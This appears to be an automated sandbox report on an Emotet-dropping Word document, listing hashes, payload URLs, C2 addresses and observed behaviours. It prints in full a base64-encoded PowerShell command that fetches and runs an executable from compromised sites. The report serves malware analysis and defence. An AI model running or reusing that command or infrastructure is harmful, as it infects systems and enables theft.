Analysis
-
max time kernel
140s -
max time network
140s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
31-07-2020 19:36
Static task
static1
Behavioral task
behavioral1
Sample
Inv U84224.doc
Resource
win7v200722
General
-
Target
Inv U84224.doc
-
Size
170KB
-
MD5
60350a8281ff0393c855e73ae0499b39
-
SHA1
ff3d0c8701810df7f4799ac9260e13c70ca8cff0
-
SHA256
04db06f1f68121c35280f7de56afb08d2392d8213c890b99114e815c14e019ef
-
SHA512
23fd7897e43235e91b5ff8196994b46da5a2ddc175bd17f7637e964da3a475abaff0c9e0c5e2e3550babf06e40cff245032ef591c0e516b08a79ed757dd6bcf0
Malware Config
Extracted
https://moshauer.de/B9kxs4x8n6272826/
http://geted.de/wwvv2/sTZFOgzh/
http://suhailacademy.com/wp-admin/oSHA/
http://smashingcake.com/blog/HNpury/
https://taolodge.com/pz/YbU2chs1980/
Extracted
emotet
187.64.128.197:80
198.57.203.63:8080
163.172.107.70:8080
212.112.113.235:80
157.7.164.178:8081
181.167.35.84:80
212.156.133.218:80
185.142.236.163:443
181.143.101.19:8080
75.127.14.170:8080
115.165.3.213:80
190.55.233.156:80
139.59.12.63:8080
144.139.91.187:80
37.70.131.107:80
181.113.229.139:443
41.185.29.128:8080
177.37.81.212:443
5.79.70.250:8080
78.188.170.128:80
190.111.215.4:8080
50.116.78.109:8080
75.139.38.211:80
140.207.113.106:443
192.241.220.183:8080
192.210.217.94:8080
81.17.93.134:80
181.164.110.7:80
190.164.75.175:80
201.214.108.231:80
94.96.60.191:80
192.163.221.191:8080
91.83.93.103:443
51.38.201.19:7080
24.157.25.203:80
81.214.253.80:443
87.106.231.60:8080
37.46.129.215:8080
195.201.56.70:8080
201.235.10.215:80
107.161.30.122:8080
113.160.180.109:80
87.252.100.28:80
115.79.195.246:80
113.161.148.81:80
74.208.173.91:8080
46.105.131.68:8080
172.105.78.244:8080
189.146.1.78:443
216.75.37.196:8080
203.153.216.182:7080
153.220.182.49:80
181.134.9.162:80
178.33.167.120:8080
46.49.124.53:80
143.95.101.72:8080
77.74.78.80:443
203.153.216.178:7080
179.5.118.12:80
24.232.36.99:80
177.144.130.105:443
46.32.229.152:8080
89.108.158.234:8080
Signatures
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powersheLL.exedescription pid process Token: SeDebugPrivilege 2688 powersheLL.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powersheLL.exeactiveds.exepid process 2688 powersheLL.exe 2688 powersheLL.exe 2688 powersheLL.exe 2524 activeds.exe 2524 activeds.exe 2524 activeds.exe 2524 activeds.exe -
Executes dropped EXE 2 IoCs
Processes:
432.exeactiveds.exepid process 3888 432.exe 2524 activeds.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/3888-10-0x00000000006F0000-0x00000000006FC000-memory.dmp emotet behavioral2/memory/3888-10-0x00000000006F0000-0x00000000006FC000-memory.dmp emotet behavioral2/memory/2524-13-0x0000000002060000-0x000000000206C000-memory.dmp emotet behavioral2/memory/2524-13-0x0000000002060000-0x000000000206C000-memory.dmp emotet -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3352 WINWORD.EXE 3352 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2688 640 powersheLL.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powersheLL.exeflow pid process 19 2688 powersheLL.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
432.exedescription pid process target process PID 3888 wrote to memory of 2524 3888 432.exe activeds.exe PID 3888 wrote to memory of 2524 3888 432.exe activeds.exe PID 3888 wrote to memory of 2524 3888 432.exe activeds.exe -
Drops file in System32 directory 1 IoCs
Processes:
432.exedescription ioc process File opened for modification C:\Windows\SysWOW64\RMSRoamingSecurity\activeds.exe 432.exe -
Suspicious use of SetWindowsHookEx 11 IoCs
Processes:
WINWORD.EXE432.exeactiveds.exepid process 3352 WINWORD.EXE 3352 WINWORD.EXE 3352 WINWORD.EXE 3352 WINWORD.EXE 3352 WINWORD.EXE 3352 WINWORD.EXE 3352 WINWORD.EXE 3352 WINWORD.EXE 3352 WINWORD.EXE 3888 432.exe 2524 activeds.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inv U84224.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABFAEIARwBZAFUAbgBkAGEAIAA9ACAAJwA0ADMAMgAnADsAJABKAEwARgBPAEQAeABrAGUAPQAnAFUAUwBIAEoAQQBtAG8AawAnADsAJABRAEcAUABEAEkAagBuAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAQgBHAFkAVQBuAGQAYQArACcALgBlAHgAZQAnADsAJABTAEQAVQBSAEQAdABtAG4APQAnAFEAUABHAEoAVgBjAG0AcgAnADsAJABHAE8AUgBTAFQAbgBwAHIAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAGkAZQBOAFQAOwAkAE4AVABPAEMASwBxAHAAZwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBzAGgAYQB1AGUAcgAuAGQAZQAvAEIAOQBrAHgAcwA0AHgAOABuADYAMgA3ADIAOAAyADYALwAqAGgAdAB0AHAAOgAvAC8AZwBlAHQAZQBkAC4AZABlAC8AdwB3AHYAdgAyAC8AcwBUAFoARgBPAGcAegBoAC8AKgBoAHQAdABwADoALwAvAHMAdQBoAGEAaQBsAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AUwBIAEEALwAqAGgAdAB0AHAAOgAvAC8AcwBtAGEAcwBoAGkAbgBnAGMAYQBrAGUALgBjAG8AbQAvAGIAbABvAGcALwBIAE4AcAB1AHIAeQAvACoAaAB0AHQAcABzADoALwAvAHQAYQBvAGwAbwBkAGcAZQAuAGMAbwBtAC8AcAB6AC8AWQBiAFUAMgBjAGgAcwAxADkAOAAwAC8AJwAuACIAcwBwAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFUATwBBAFQAcgByAGsAPQAnAFQASgBOAEIAWABwAGoAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABNAFYATgBCAGQAZgB0ACAAaQBuACAAJABOAFQATwBDAEsAcQBwAGcAKQB7AHQAcgB5AHsAJABHAE8AUgBTAFQAbgBwAHIALgAiAGQATwBXAG4AbABgAE8AYABBAGQAZgBpAGAATABlACIAKAAkAFQATQBWAE4AQgBkAGYAdAAsACAAJABRAEcAUABEAEkAagBuAGgAKQA7ACQAVwBSAEkATABDAHAAcwB0AD0AJwBPAEwAWABFAFcAagBnAGMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABRAEcAUABEAEkAagBuAGgAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMgA0ADUAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAGAAVABlACIAKAAkAFEARwBQAEQASQBqAG4AaAApADsAJABSAEsAQwBBAFQAdgB0AGQAPQAnAFAAUgBSAFoATwB1AHEAegAnADsAYgByAGUAYQBrADsAJABBAFMAWQBIAFoAYwBkAHkAPQAnAE8ATQBFAFUAVgB6AHMAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAFIATwBRAEkAbQBiAGQAPQAnAFcATQBJAEoARwBrAGkAYgAnAA==1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Blacklisted process makes network request
-
C:\Users\Admin\432.exeC:\Users\Admin\432.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\RMSRoamingSecurity\activeds.exe"C:\Windows\SysWOW64\RMSRoamingSecurity\activeds.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\432.exe
-
C:\Users\Admin\432.exe
-
C:\Windows\SysWOW64\RMSRoamingSecurity\activeds.exe
-
memory/2524-11-0x0000000000000000-mapping.dmp
-
memory/2524-13-0x0000000002060000-0x000000000206C000-memory.dmpFilesize
48KB
-
memory/3352-4-0x0000024AB8CA5000-0x0000024AB8CAE000-memory.dmpFilesize
36KB
-
memory/3888-10-0x00000000006F0000-0x00000000006FC000-memory.dmpFilesize
48KB